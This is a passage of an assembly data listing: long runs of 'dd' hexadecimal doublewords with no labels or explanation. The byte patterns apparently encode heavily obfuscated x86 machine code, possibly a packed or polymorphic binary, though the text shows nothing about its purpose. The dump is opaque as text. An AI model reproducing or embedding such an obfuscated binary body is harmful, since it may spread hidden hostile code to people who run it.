25BC19D3h, 3C8A4954h, 0E0845BDDh dd 0FFB9664Ch, 0F8BF0FBAh, 0BAD4C681h, 0E08139E3h, 134D7B20h dd 0E958F551h, 8, 0B44A7E80h, 0DC969443h, 55F28166h, 67B35241h dd 0EE85Bh, 0BA6B0000h, 210767A3h, 377C6BABh, 381B886Bh dd 5B25D380h, 0B70F4BB2h, 0AE8FCD7h, 36000000h, 96BDAD08h dd 0D1CF358Bh, 58B0F98h, 0BB000000h, 18C23012h, 0FEB70F5Eh dd 0C2B7F98Ah, 0C38BC8B7h, 66D9B70Fh, 81FAB3B8h, 5A1629E8h dd 0F08A514Ch, 0EE85Bh, 0DD530000h, 1EB73298h, 0D7217B2Ch dd 0C8AE73F8h, 9BA73EB8h, 0DE8A5836h, 10CE8166h, 10E952h dd 0D430000h, 5A401018h, 9EE5ACCFh, 57404380h, 8B66BEC3h dd 8D0FD8h, 0BB000000h, 5CA3E369h, 9D4FC181h, 0DA816F8Ch dd 7EB9DA59h, 0D68B66FCh, 8E8h, 0A75E7B00h, 7ED8A1A0h dd 0C7815952h, 4FC38109h, 16A8E2BBh, 8B666078h, 0D08B61C8h dd 0DA7DB866h, 12E9h, 39DF4300h, 14EE8E75h, 0C0A64601h dd 0D424BC62h, 57BB1478h, 5BD1BF0Fh, 0BAD0B70Fh, 361E0C34h dd 66CBB70Fh, 21F7F381h, 9E851h, 0FE020000h, 860C002Ah dd 0B7ABD262h, 0F5E5E6Fh, 68Bh, 69CF8100h, 8005BFF2h, 0C88090CDh dd 0C68B665Ch, 48D0Fh, 0BE660000h, 0C9813556h, 26CBD0A9h dd 6E8FCh, 0BE8B0000h, 8678C61Ah, 6E8h, 0E89AD300h, 665B4097h dd 5A5AD18Bh, 0B8C0Fh, 6E90000h, 96000000h, 0AF4B68A7h dd 77BA6682h, 8800F23h, 0F000000h, 282h, 60616000h, 158B0Fh dd 10E90000h, 39000000h, 0DCFD68B9h, 1B7C2F3Ch, 8CB136FCh dd 8B53A533h, 0F78B61D9h, 0CE9h, 0F141C00h, 9DCD9470h dd 0B47DDA89h, 1E830FECh, 0E8000000h, 13h, 65A4EAD4h, 7E14CD15h dd 281E1B76h, 0A7459D31h, 66B36D11h, 7BA6C981h, 10E95Bh dd 3A470000h, 0AB6DD989h, 92720457h, 309C82F4h, 8152E430h dd 0B7EEF2DFh, 0B9665F5Ah, 0E1813079h, 6061E312h, 8E960F9h dd 4E000000h, 742BEA45h, 8BA8C4EAh, 0D18061C3h, 0EDCD8065h dd 58BA6650h, 0BF665B06h, 0E8F50D35h, 0Ch, 93CCB86Bh, 0BC8FF90Fh dd 42980DC3h, 388BC6B9h, 0B70F5A3Fh, 0EF8166C0h, 0BE91437h dd 36000000h, 9BA9302Bh, 0C3DF4D59h, 0C9B58046h, 28C0Fh dd 0D08A0000h, 6820Fh, 0F7810000h, 43658D43h, 11E9FB8Bh dd 0FA000000h, 35B0E566h, 0CA5FDCE6h, 0E7CE8469h, 11F4F7F9h dd 4FEDC381h, 3EBB10E8h, 6600FE78h, 0B462C081h, 8B66D88Ah dd 49BF66F7h, 2BB5759h, 5F794196h, 5A0ECBAh, 0C6B70F73h dd 2880Fh, 0A0B00000h, 3CCABF66h, 58B866F5h, 94BA665Bh dd 19B9663Ch, 4830F20h, 66000000h, 0B9D8E2BAh, 6D87CBEAh dd 0A7E3CA81h, 0E9520318h, 6, 0BEF46EECh, 0F5BFE4Dh, 0C81h dd 68D0F00h, 0F000000h, 8Eh, 0BACB8B00h, 168BEC3Eh, 14F5E081h dd 8A0F3882h, 6, 2129C881h, 66F9444Ch, 812FB1BBh, 0E788ECCFh dd 6800F4Bh, 81000000h, 9F2B2EEAh, 0DE92Eh, 3DAD0000h dd 48FCF5C4h, 126DF6DAh, 81DC73E6h, 8132EBE1h, 0E8FE8B12h dd 0Bh, 7F23C802h, 6A34B7Ch, 5B1D7CD9h, 66CB8B66h, 665A70BBh dd 0F675DA81h, 14E9h, 30EAA800h, 29D1CDEh, 0D60AD89Dh dd 0DDE2EAA2h, 0A380BED1h, 850F65h, 0B8000000h, 29E6FE2Bh dd 58F0Fh, 81660000h, 0F5FC56F2h, 16D28166h, 815050BFh dd 0FBFA75E9h, 66595A55h, 0E8EC1EBBh, 0Dh, 0E8B570D6h dd 4B8B3C58h, 2F62A5A0h, 0FE842h, 252D0000h, 3A3E187Bh dd 76F566CAh, 0A1144EE0h, 0AE884h, 0AB2E0000h, 0C1EE25DEh dd 0D7E8DA52h, 0E95A5B5Bh, 12h, 6788F76Dh, 23E7A812h, 0E1B55B0Ch dd 0C22FE23Ch, 0D88BD53Ch, 6C9CE681h, 0D98B1254h, 0FCFB70Fh dd 0CB8BF6BFh, 0CD5CBE66h, 0FCF8B66h, 0BE8C0B7h, 40000000h dd 0D8494200h, 0DF27AA16h, 0BA6679FDh, 665FCC10h, 8B66D38Bh dd 0AE8F2h, 2B2E0000h, 786E8808h, 4149BD9Eh, 0FC59C28Bh dd 6693F281h, 0F5603EEh, 680h, 870F00h, 5E000000h, 12800Fh dd 0DE90000h, 6D000000h, 0C09EA5C4h, 58F021AAh, 1B090E34h dd 12E8D08Ah, 15000000h, 535D8705h, 0EB4987B1h, 77414CB8h dd 482E607Fh, 7B55A2Ch, 0E8BADF80h, 8, 0D38AF631h, 779B0FC5h dd 6890Fh, 8A0F0000h, 0 dd 0D18B6659h, 0F57C5EBAh, 0F36BBA24h, 82BB5E70h, 0E9655C2Ch dd 10h, 111CB279h, 0D5F41BF4h, 96CEC5B0h, 6255C966h, 14E9F5h dd 6AF0000h, 13CA892Dh, 9A9349DFh, 0A5C46D28h, 21AAC09Eh dd 0CE8B58F0h, 7E9D08Ah, 78000000h, 0ECBE05B2h, 0D6B3544Dh dd 0FCC78B66h, 36D28160h, 0F25AF48h, 38Ah, 0DFBF0F00h dd 0F0BF0F61h, 0FFD18166h, 0D98B66D4h, 2870Fh, 0F38A0000h dd 8F0FF8F5h, 2, 0B70FD48Ah, 2840FCFh, 8A000000h, 0CF8160F9h dd 7AFDA84Fh, 13E9h, 346D9800h, 0B7243DCDh, 0E082D050h dd 3028879Ah, 0BC0CD60Ch, 0D1BF0F61h, 62BFCE8Bh, 0F4BD606h dd 75B5C8B7h, 3850Fh, 8B660000h, 6830FCAh, 81000000h, 0E4CDC1EBh dd 18E98008h, 0EFA618BAh, 52D38A56h, 14E9h, 1BDAF700h dd 63F59562h, 4B3A79F3h, 0CDB8D251h, 314ABDF9h, 0BF0F5A0Fh dd 12E9DAh, 3DA60000h, 0DCFCC9CFh, 5037AB0Dh, 689A5350h dd 0B86936C4h, 31F5BB66h, 0BE8h, 9716FF00h, 5FC523EEh dd 7159A77Dh, 95A1EE81h, 0F5B59DBh, 0DF8BC3B7h, 0CE9h dd 4E8F9B00h, 2D105B09h, 6C9E99E3h, 0F3BF0F63h, 1F810Fh dd 870F0000h, 19h, 13E8h, 80639400h, 509EF59Eh, 4DA1EFF1h dd 349003B7h, 0C49262C6h, 14E958h, 28280000h, 0ADB8322Bh dd 0AEA15E2Dh, 0DDAE2E2Eh, 474BC085h, 0D08A95EAh, 0AE9h dd 6EFC3300h, 0BE7F5584h, 0FCD448A6h, 132EB9h, 38E0F42h dd 80000000h, 0BF0F52C3h, 0FD98BCFh, 886h, 28F0F00h, 8A000000h dd 13E8FDh, 58680000h, 0A2977ABCh, 0D15B7821h, 0B767D38Ch dd 640B963Dh, 5ACA8A8Dh, 35ED80F9h, 0CEF28166h, 0D78B6651h dd 13E9h, 0B0E0F800h, 103D61E6h, 86B72A3Fh, 696636ABh dd 36C9B988h, 0C6B7C18Ah, 11820FF8h, 0E9000000h, 0Ch, 911ABB68h dd 48B0A214h, 577C0B8Eh, 0CCBA6651h, 0B7FC5AD2h, 0AE901h dd 606C0000h, 12825A15h, 26B67AF5h, 0E9DBB70Fh, 12h, 92B4BB82h dd 909EB5F6h, 87932459h, 0C18A4C4Bh, 66F59856h, 0FB12C181h dd 88A0Fh, 0F560000h, 8Dh, 8B665900h, 14E9F3h, 730A0000h dd 76193DA0h, 88FCB51Ch, 2371DF2h, 55AA2C3Fh, 0D78191C5h dd 19DB7874h, 8438F5B8h, 0EDC18113h, 8B259268h, 5FF181DFh dd 0E91629FBh, 6, 0C5722948h, 11E9A588h, 0D3000000h, 41F79C57h dd 0FAB024E8h, 0E4F05D12h, 0C59713C2h, 6E8FCh, 96700000h dd 0C398F420h, 7072DBFh, 0F3815B2Ah, 0F4480AAh, 601FB866h dd 0CE9h, 5CE91000h, 379765BEh, 0CE67A41Ch, 0DE85360h dd 40000000h, 0E7641522h, 8F4A7B3Fh, 93CF8787h, 5F5A5850h dd 8B5AF380h, 30BA66C8h, 1CD8817Ch, 0E92C9563h, 0Eh, 246ABDD9h dd 7B447DAAh, 0E9FFDFD9h, 66605DB1h, 61FCDA8Bh, 840Fh dd 0CB8B0000h, 816060F9h, 43B0EEE6h, 0DFBF0F22h, 5E86161h dd 0A2000000h, 45E97BB4h, 0D840Fh, 8E90000h, 97000000h dd 59FAF1D5h, 5F7AF34Eh, 0A2CB8166h, 2FEE80A6h, 8495EAB8h dd 7FB86022h, 81627BE4h, 4136EE0h, 6E86141h, 0A7000000h dd 4C1DF96Dh, 8B665334h, 605E5FC2h, 0FE8h, 75373600h, 1800B63Ch dd 0D129D9CDh, 99704A52h, 0AE858F5h, 9D000000h, 52D4A61h dd 0F67C1CAFh, 5B58536Fh, 8890F61h, 0F000000h, 288h, 0F595200h dd 38Fh, 0FA8B6600h, 58E0Fh, 0B3600000h, 0E861F52Bh, 0Ah dd 7E557D15h, 0D7550CC5h, 8B66F64Ch, 0C18B5BDAh, 8E0FF6B0h dd 6, 7910E081h, 0D6801723h, 3232BF22h, 840F3E7Ch, 9, 38F0Fh dd 8B660000h, 0D0BF0FFBh, 8BFEB70Fh, 7CDA80C3h, 18830Fh dd 840F0000h, 12h, 0DE9h, 239B6B00h, 69A70DA0h, 0DDA6CD3Fh dd 7E9338Dh, 49000000h, 27AA16D8h, 0F57FDDFh, 8Bh, 0BE665E00h dd 0B70F50A3h, 0BF0FF9F6h, 69B852F0h, 581E1504h, 0E1816660h dd 0E6815478h, 3072DB14h, 14830F61h, 0E9000000h, 0Fh, 0BEEE180Bh dd 5F50CC87h, 631CC41Eh, 0E9D46388h, 9, 59B12DBEh, 0B58B168Bh dd 81C2B011h, 57FEF7F1h, 0C781565Eh, 1F5588A4h, 277BE5Eh dd 29B80B34h, 6629267Ch, 6AE6E981h, 9E9h, 5FF4B500h, 13BC3F92h dd 0D58A54A9h, 0E9D7BF0Fh, 9, 0BD6273ECh, 181885E5h, 0CE8B6635h dd 12E851h, 0F86C0000h, 7806102Eh, 0A41EBF46h, 0D268BC9h dd 0B13ED15Dh, 5B5E5952h, 0FF1BF0Fh, 484h, 5A515100h, 0B1D98059h dd 0BAD48056h, 0F60565Ah, 8Ch, 12E800h, 0D15E0000h, 57B10B9h dd 6D8F10EDh, 0B0C9DB11h, 59B3CA29h, 0E85F6159h, 14h, 0D47C1A2Ch dd 41789750h, 6522F0EBh, 7A5E04C3h, 6259A6C1h, 0EE805BF9h dd 0FE9F2h, 0A5E70000h, 0EB821D5Fh, 0CD89967Bh, 8E71C3C0h dd 81F960B2h, 2A7DDDD6h, 8E86175h, 0D2000000h, 0C494F932h dd 80A780A2h, 0E9586CF4h, 7, 0B8ED3DCCh, 66851EEEh, 3F39D981h dd 0E8DFBF0Fh, 10h, 2EA59428h, 0FD0AB9FBh, 53557036h, 93E758C9h dd 13E959FCh, 2B000000h, 223FD8D8h, 0EC7F136Ah, 44034B1Ch dd 7060E131h, 9CB6CCDFh, 983FBEF9h, 66600772h, 6661D78Bh dd 8B99E281h, 4B477CBEh, 0C9816679h, 0D281CC57h, 18C58E85h dd 153B30B8h, 0FE854h, 7BBE0000h, 6F52B4FBh, 0B6405C8Bh dd 520805ECh, 5BC28B9Bh, 9E950h, 0BC70000h, 0DEE107A7h dd 5B001E83h, 0BED28166h, 0DE9F5B8h, 58000000h, 0A04B8B3Ch dd 422F62A5h, 71DC20EEh, 6E8h, 68FF5800h, 8030ECF3h, 0E95A18CCh dd 6, 0F1313431h, 0E88AA61Eh, 0DE8B6653h, 0CE85Ah, 83C60000h dd 166A77C6h, 32D10914h, 666015F6h, 611896BFh, 0BE15B95Eh dd 0B70F13B0h, 7E9F6h, 5D2D0000h, 4763E9B1h, 0B70F60B2h dd 0F61F5F7h, 880h, 850F5000h, 0 dd 0B7B2B15Fh, 5820FCFh, 66000000h, 0EC05C781h, 0DDAF9FBBh dd 0D0B70F78h, 0BE9C28Bh, 90000000h, 0D20BF481h, 77F7221Ah dd 6E80665h, 51000000h, 2FD9EB78h, 0BF5EFCB3h, 7D7E8458h dd 0C28B57F8h, 0FAC1815Eh, 8B468C68h, 0C08166F0h, 0BE80CD8h dd 0C2000000h, 7BF05BDh, 0C794F209h, 0FE817DBh, 96000000h dd 90691EEAh, 0A3A5037Ah, 0E02CFD78h, 5951F2E4h, 8E0F5958h dd 0Bh, 6E9h, 3D8EC200h, 81CA99A7h, 18CCF5D9h, 0F9BF661Ah dd 0D0BF0FE7h, 0A3C38166h, 4FDC8042h, 8FC2BE66h, 0F8C0Fh dd 0AE90000h, 43000000h, 0FB1280C7h, 290C794Dh, 0D081660Eh dd 14E9DDF7h, 32000000h, 0F3367ED4h, 26D33D62h, 2CBF24C5h dd 0AF60862Ah, 0F3F4F01h, 5BFFABFh, 806B71C9h, 10E9C0E0h dd 94000000h, 9FCC4FEh, 0EAD2BE9h, 362576E0h, 60E59928h dd 28A0Fh, 61600000h, 23880F61h, 0E8000000h, 0Bh, 513C5E6Eh dd 0FAFE52BDh, 0E9B65D50h, 0Dh, 0BEF3327Ch, 2C47ED32h dd 21CF85D2h, 0D88B5EE3h, 0B966C3B2h, 81666144h, 0E932EEDAh dd 10h, 82423B1Fh, 1EE9C2EAh, 0BA451E2Eh, 2B94E6FDh, 8F03DFBAh dd 12E946h, 0EB630000h, 0A36B7DAh, 0A825C8C4h, 4E08C30h dd 0A17BAC25h, 5E953h, 0BCC10000h, 5EBA8B0Dh, 31DB8166h dd 6666BFBBh, 0C88066C2h, 0CABF0F3Bh, 5880Fh, 27B80000h dd 66014EBCh, 1C6CC281h, 0D48C76BBh, 55D4807Eh, 682FF181h dd 8B0F0A5Bh, 0 dd 51DE8B66h, 0EE9h, 753A6B00h, 0B1197E41h, 675004EDh dd 585AB5EAh, 7A6338B9h, 10E94Eh, 8C7A0000h, 363211B2h dd 0B4A1645Fh, 0F21C370h, 0B70FECC7h, 0FF98BD3h, 385h dd 0C3BF0F00h, 5E9h, 0F652A500h, 6060B575h, 0F72E780h dd 8Eh, 0AE96100h, 0B3000000h, 603A8CE2h, 71ACFBD3h, 16BE6141h dd 0BE032139h, 4E711ED7h, 0CE9h, 56D71F00h, 0CBD97FE6h dd 0C220147Fh, 0D2D6BAF7h, 0BB66496Ch, 0F60E2C0h, 38Fh dd 0D7C18000h, 10E961h, 58D80000h, 403E7E0Ch, 0E1ACCBB8h dd 6048F295h, 0F8B3F011h, 81D2C680h, 0BD26F1D7h, 0FE97Fh dd 10DA0000h, 1BA56B12h, 382D0F67h, 15D3DFCh, 80BA66EDh dd 8166600Ch, 0E8CB9AD0h, 0Fh, 4E586A39h, 78410BCh, 3BEE3F34h dd 668E36A3h, 615EDA8Bh, 2AF68166h, 188F0F23h, 0E9000000h dd 13h, 0C1B5BB09h, 0F299FF4Fh, 0F0D2D984h, 6EB4E723h dd 0E90BDDECh, 0Ah, 0F09A4BB5h, 1F72EBFBh, 0B3608AA8h dd 0D1805178h, 81615BCDh, 0E96227E8h, 5E854h, 43520000h dd 0E8F9891Ah, 0Bh, 1ABA9029h, 1CE034FAh, 0FF70CFFh, 84h dd 605A5E00h, 0E961B0B5h, 9, 0D333920Bh, 1B52885Ch, 0C881667Ah dd 0CCBE5153h, 80339DF1h, 0E960D3D6h, 5, 0B785CA53h, 6E9CBh dd 0D13E0000h, 482CC99h, 5860F61h, 66000000h, 9DB3D881h dd 8E7D79BAh, 82E8810Ah, 0E959CC70h, 0Fh, 2EB20379h, 8496AC0Ah dd 0D5A6953Dh, 0F6A967Ah, 0A89h, 5E900h, 0C6B10000h, 0BA694A05h dd 248C081Ah, 0F2B70F60h, 43EF8161h, 81674CC6h, 43CCD7F3h dd 9E81Dh, 2D470000h, 21FA2900h, 0F9678920h, 36F38058h dd 3810Fh, 0B70F0000h, 3850FF0h, 0F000000h, 0F48ACFB7h dd 7305BB66h, 18D0Fh, 66F50000h, 0BE66C38Bh, 8160518Ah dd 8E248F0h, 8B666151h, 0F7B70FD9h, 51A8BE66h, 38C0Fh dd 0B70F0000h, 7AC781F1h, 0E9457C3Ah, 0Bh, 63C9AC73h, 0BB864767h dd 81C3B808h, 0FE241EC0h, 17870F4Bh, 0E9000000h, 12h, 0CFAFCE3Ch dd 0E09A5B2Bh, 9C2A8202h, 7BA4C058h, 66F57279h, 0FD6EFBEh dd 0D88h, 8E900h, 25050000h, 75C2BE03h, 7E9C1D9h, 55000000h dd 0ADF0FC3Dh, 0CC8003B5h, 0D7BF0FE3h, 60B9C180h, 516061F5h dd 44E08166h, 850F5BF3h, 6, 4725F181h, 606100ABh, 9E9h dd 0CC506300h, 68FAE62Bh, 0BE663024h, 0F616EB7h, 8166F2BFh dd 8B5454E0h, 0F8D081D6h, 0E951E13Fh, 12h, 99FE63EAh, 666BE5E3h dd 0AD0FE774h, 238B746Ah, 12E82510h, 64000000h, 0F723400Fh dd 819643EEh, 7F0C6782h, 0F0BD4FEFh, 10E984h, 161D0000h dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 0F58E4AEh, 38Ah, 0FABF0F00h dd 0D081DE8Bh, 2AA2FF65h, 6661E380h, 0A5EF81h, 1810Fh dd 0E9FC0000h, 6, 2101497Dh, 6DB8359Dh, 6670E186h, 6AA9C981h dd 9A9E0BB9h, 0A33AB904h, 66572F5Dh, 744BC081h, 0D78B525Fh dd 60F58A58h, 58D0Fh, 4BF0000h, 0B27CDAB8h, 0E98061B3h dd 0BE9FCF4h, 19000000h, 88DC0969h, 9A19C9D2h, 0E860B2D6h dd 0Fh, 0B4E3F2FEh, 12185F7Ah, 0BAFC7FA3h, 6005C22Eh, 61F85861h dd 0F5C68B66h, 10E9h, 29C1400h, 7FDA63E6h, 0D5D31AADh dd 0A2E58885h, 3840F17h, 66000000h, 14E9D38Bh, 59000000h dd 0EC11C499h, 0FE7193AEh, 0D080959Fh, 0AEF161D2h, 0E9C03EFEh dd 11h, 79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h, 0D6B8667Dh dd 0D4BA5713h, 5A570730h, 7BFF16BEh, 0A3BCB869h, 14E922B9h dd 1B000000h, 0A7FA7FB1h, 0A0FCEDCh, 2914F6F3h, 0BAC7CDC6h dd 0E962A347h, 14h, 2BFD7110h, 5708F0F1h, 488D10FBh, 331D16C5h dd 5BFDE144h, 5E9h, 0D6C8BF00h, 0FB8B28D0h, 12E8h, 0FCF5C400h dd 6DF6DA48h, 0DC73E612h, 0A0C7A35Ah, 0E8565A01h, 10h dd 0FDD21441h, 7824B00Eh, 0CC971444h, 85374640h, 89CB3FBAh dd 0E95B5F15h, 0Dh, 0FD50DA2Ah, 39316CB4h, 29018187h, 12E9A9h dd 7C600000h, 0E613C35Ah, 9074F952h, 0D2635E5Fh, 53080C02h dd 8F0FC38Bh, 0Eh, 5E8h, 9A42E300h, 8B66A961h, 0EC8059C2h dd 0FB8B66CBh, 0AE8h, 0CCA67A00h, 69C78221h, 81E0191Fh dd 0F20C6DBh, 11BF582Ah, 666115D5h, 0E9B294BBh, 0Dh, 1C75175Ah dd 43140062h, 12C8CB34h, 0F2816673h, 66F5C058h, 0BE9FE8Bh dd 2D000000h, 740744B9h, 7A701556h, 820FBCE3h, 9, 3810Fh dd 8B660000h, 0BE8F0h, 0C6A10000h, 0A0270575h, 1AAC0E21h dd 5800FFCh, 66000000h, 0D7C1D781h, 0C681665Fh, 8B667BE5h dd 0FE9D6h, 560F0000h, 16361B0Eh, 0AF902448h, 73AA7A31h dd 0DF781C0h, 0F5F32A9h, 28Bh, 0FF08B00h, 13E8DFBFh, 0B1000000h dd 0DC22B134h, 0CAF6717Bh, 49E1D84Ah, 0FFB29ABDh, 5FFC6CC2h dd 837BBF66h, 0D0DBB866h, 1830Fh, 81FC0000h, 0D92876C0h dd 0F9D38B2Ch, 6E9h, 39585B00h, 60F7F148h, 8B6680B3h, 6E961D9h dd 0B4000000h, 115BB830h, 0AED78139h, 0B33CF307h, 0E85060CDh dd 0Dh, 649EE147h, 0E1F487F6h, 0AB28A8CDh, 615A5FC0h, 0C1CF8166h dd 4890F36h, 66000000h, 0BF87F6BEh, 23171868h, 0E9F7B70Fh dd 0Ah, 0C5B3F6B8h, 808E6F2Fh, 0F601BD3h, 10E9D0B7h, 90000000h dd 847CEA7Ch, 0B90F53B3h, 0CDC3FC76h, 61208762h, 5860Fh dd 8DBF0000h, 0F91281AFh, 9E8h, 4AE6BB00h, 7D90628Ch, 860F3022h dd 6, 820Fh, 66590000h, 0B28CEDBEh, 92F2816Ch, 0E945D704h dd 6, 2590623h, 0EF802401h, 0B9C381D5h, 0BA3380F6h, 46A8887Ch dd 0BE9h, 53F1CC00h, 0A66C33A5h, 0DD60E45Eh, 0FB8B6660h dd 8161F08Ah, 73FF7CE0h, 8E95Bh, 3B0C0000h, 0C12A1939h dd 8166D476h, 53AA2CF1h, 95B86660h, 0CCEF818Ah, 611A2C14h dd 536FB559h, 0DBB70F51h, 1BBF5B5Bh, 667862C3h, 0BE8FA8Bh dd 0F7000000h, 0A6B2EBBBh, 17A48C34h, 0EE815D0Fh, 3ACA03DFh dd 28BE6658h, 0BE913h, 3EBF0000h, 0AB6C4697h, 7C0A5E94h dd 0CB8166A4h, 8B66AE6Ah, 816653C7h, 5A6CBFDFh, 0E9F38B66h dd 12h, 4652D2Ah, 3C7ABB08h, 0C05149ADh, 0E7433527h, 0FF5FA94h dd 487h, 79BA6600h, 0CE9BBh, 0D3540000h, 830B53EFh, 5271075h dd 0EF816D91h, 5D77B9A7h, 890F57FCh, 4, 1EB2BA66h, 68D8815Ah dd 8022681Dh, 0C4BFD9D2h, 512A3BB6h, 8A0FFC5Bh, 9, 3890Fh dd 0E6800000h, 0CA8B6631h, 0A860Fh, 5E90000h, 0F5000000h dd 0A76D1D20h, 5870Fh, 0DEB80000h, 0F4A83FDh, 38Ah, 0FA8B6600h dd 8C05CF81h, 810F5D25h, 1, 14E9F8h, 616D0000h, 4D7C29FAh dd 41FA49E4h, 19878115h, 0F9BE8838h, 0BA66A988h, 0BE6638B0h dd 80511EF7h, 0E9584CC8h, 0Dh, 7F800A2Ah, 61455F3h, 740D4774h dd 11E957C4h, 54000000h, 0D82C3556h, 94468F23h, 9C4F68CBh dd 71B9A04Fh, 0EFF2805Bh, 0F0DA8166h, 0A0BA66EFh, 0C18166E4h dd 0D281B1AEh, 23CCED8Dh, 8D0FFE8Bh, 1Bh, 10E8h, 25560400h dd 54D62456h, 0C3420220h, 67E60E7Bh, 1C58BB10h, 665860E4h dd 0F860CB8Bh, 6109E180h, 0FC60DF8Bh, 0F9C28B61h, 0C1BAB3B6h dd 0F6AC77Dh, 8E0FF6B7h, 3, 0FD0B70Fh, 830FFBBFh, 17h dd 11E8h, 0A353C700h, 0AFC87E0Eh, 0AB1BE959h, 5C8031B5h dd 0F5ED127h, 984h, 59526000h, 4071BAB8h, 0F516155h, 58Fh dd 0DA816600h, 525FFE1Bh, 0F5FE68Ah, 58Ch, 0D6816600h dd 830FF84Ch, 5, 0BECA8166h, 0AE86Ah, 86CE0000h, 0F20774Ch dd 0D843D8CCh, 0F7C68160h, 817DF739h, 0D39790D2h, 665A610Dh dd 751DF181h, 0E1816651h, 0F5E2FCAh, 68Dh, 53EE8100h, 0F5CC59Eh dd 0AE9C8B7h, 30000000h, 9E5B5FB3h, 193AB7BEh, 0C28166B5h dd 0E8F5AB61h, 0Fh, 1C12136Fh, 76985171h, 0BA815E8Dh, 0FA2E771h dd 68Bh, 880F00h, 5A000000h, 48C0Fh, 0BF660000h, 0B70FBE6Ch dd 6600B4C6h, 43AADB81h, 0BE9h, 0DE1CB100h, 77D8E0D0h dd 1CD5383Ch, 0AE899B7h, 0AC000000h, 0C4B4955Bh, 0A51B3C2h dd 5EFAB505h, 6830FF5h, 81000000h, 693E46F0h, 13E975h dd 72E90000h, 0AF9CAF85h, 3844C0Dh, 71EF014Fh, 74942902h dd 0DEB70F0Dh, 10810Fh, 8E80000h, 59000000h, 10C311A5h dd 0B0F88585h, 9E85FE6h, 79000000h, 15E8E865h, 0B9CFAD92h dd 90C0BB66h, 13E859h, 3C0A0000h, 0DBB90A5Dh, 0E010CD1h dd 392F7F4Ch, 8288F25h, 8D0F5B7Fh, 3, 0F1CE380h, 386h dd 0D78B6600h, 5E9h, 396F7000h, 0E8FC59E5h, 9, 0C7CDC629h dd 62A347BAh, 4D8BBA8Dh, 815A39D6h, 0B2499C6h, 8E814h dd 0B0750000h, 98ABC025h, 8166E4C0h, 5A4D93E0h, 810F6BB4h dd 14h, 0EE8h, 2146C200h, 50F5F0B4h, 68C2638Eh, 59C439DCh dd 810BB660h, 5DF2EFC7h, 0E9F86113h, 0Ch, 128D62A3h, 0FC4420C6h dd 16043B89h, 44ABF66h, 3DC1BF66h, 8B66C28Bh, 8A5060F9h dd 11E95ACFh, 0E1000000h, 0E517CA55h, 0FAEDB797h, 7F83B52Dh dd 5D639F9Ch, 43B96661h, 0FCF8BF0h, 0B8Eh, 81666000h, 66FED2EAh dd 617664BAh, 8B0F83B6h, 3, 66C1B70Fh, 542AEE81h, 66FBBF0Fh dd 8E0FC78Bh, 3, 5387C180h, 89DEEE81h, 805E5D20h, 890F14D9h dd 11h, 0B8A0Fh, 5E80000h, 0AA000000h, 0B4ED21F1h, 7C83B95Fh dd 0BF0F3C96h, 0BB66F8F8h, 8B66AC66h, 0D08166C7h, 0FF57D99h dd 588h, 9EA3B800h, 0B70F68F1h, 0D38AF9CEh, 0F5DF8B66h dd 0D18BFE8Bh, 0BF0FE88Ah, 0F2BF0FF9h, 0CE960h, 0D2AD0000h dd 7E00AC7Ch, 473B42CAh, 0DE8B851Ah, 7E961h, 0FD190000h dd 8803EF43h, 3AD38183h, 660CFCBAh, 8BC569BAh, 12870FC1h dd 0E9000000h, 0Dh, 0E11F813Dh, 0B8F6FF06h, 2AE0D31h, 0D9B70F50h dd 7E9h, 74CB6000h, 74BB424Ah, 0C786B966h, 12E9h, 0F20F2600h dd 6EB2436Ah, 4F0492A2h, 0A307C978h, 57A2B5A2h, 0BE8h dd 99EE8D00h, 0ABCE8033h, 0E1B7EB3Eh, 17E1BB66h, 0DE85F5Bh dd 99000000h, 76E70535h, 0A3E9F1E2h, 0A3DCEADCh, 9E853h dd 47120000h, 1AC5F48Bh, 5F08C77Bh, 8BF85A59h, 0F7B70FF3h dd 0F5DC580h, 1588h, 0AE800h, 8BCB0000h, 4B730348h, 2B484348h dd 0BD08166h, 0BF66586Eh, 0BDBB68BCh, 0FC6AA247h, 7E9E38Ah dd 0FF000000h, 83711E42h, 12E8A3DBh, 67000000h, 0B8BC3651h dd 3EB02807h, 0E75C4002h, 0B51BE3A7h, 5BDE8BA1h, 3A1676BFh dd 0D88B6605h, 0CE8D98Bh, 31000000h, 22233D72h, 0CCCDDD66h dd 66BE9616h, 5925E0BEh, 3EDE8166h, 28B0F9Dh, 8B000000h dd 4800FF9h, 66000000h, 8B90DCBFh, 0AE9FBh, 0DE280000h dd 8E138B04h, 763CB55Ch, 870Fh, 14E90000h, 83000000h, 63F7FE99h dd 0B94CF075h, 61257305h, 48E02042h, 0BAE0165Eh, 4AC042F0h dd 7E33B0B9h, 0FE929h, 4AFF0000h, 93F545FBh, 86B97F86h dd 0ACB2EB5h, 81666047h, 0E8510AD3h, 13h, 0AAC6ACDAh, 655D3937h dd 40714B4h, 0C7C0B122h, 0E97B9DB7h, 0Eh, 8C0E41A5h, 3F3E9766h dd 4720BF88h, 615E9F69h, 13E860F8h, 1D000000h, 5947D07Bh dd 0BE5F3051h, 668BC86h, 6BB01B80h, 58FC1583h, 0F1B861F9h dd 0FC0FD620h, 0B860CA8Bh, 3C49F203h, 7E9h, 99DEB700h dd 0BA1B9203h, 0DEB70F61h, 0CB75D781h, 66FC5A9Eh, 66516ABEh dd 8166C28Bh, 0E96863CFh, 0Bh, 0AAD3A1BDh, 8DBAF552h, 607379DAh dd 3830Fh, 8B660000h, 8B0F56CBh, 0 dd 870F615Ah, 0Dh, 8E9h, 27288400h, 56EC796Dh, 8E9605Dh dd 44000000h, 0CFED4A21h, 66D5CFF9h, 6112BBBEh, 80F97DB2h dd 0F38130CAh, 1054DCCDh, 14E9DF8Bh, 0B000000h, 38673E8Fh dd 0B07800D6h, 1F47E6EEh, 86D9E017h, 0BFF1DAD5h, 0A54C462h dd 0E7B3D381h, 0C8812B3Eh, 728D4CD6h, 66F2E280h, 0FB93C181h dd 89E38160h, 8A0CC210h, 0EE961CBh, 0CA000000h, 1DE2AA83h dd 54B78827h, 7D49A113h, 2800F61h, 0B7000000h, 99DA8192h dd 0F6F0A3Ch, 48Dh, 0C1BE6600h, 10E9534Ch, 0AF000000h dd 43502012h, 0DA88F490h, 1C5D46B6h, 5A0FA8CAh, 0E6F7C781h dd 5A573777h, 0B6D6BF0Fh, 80DF8B24h, 0BE6693E9h, 0E9FC6EEFh dd 0Ch, 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h, 6990BE66h, 74DD4B9h dd 0D98B6669h, 38A0F60h, 80000000h, 6661EDCEh, 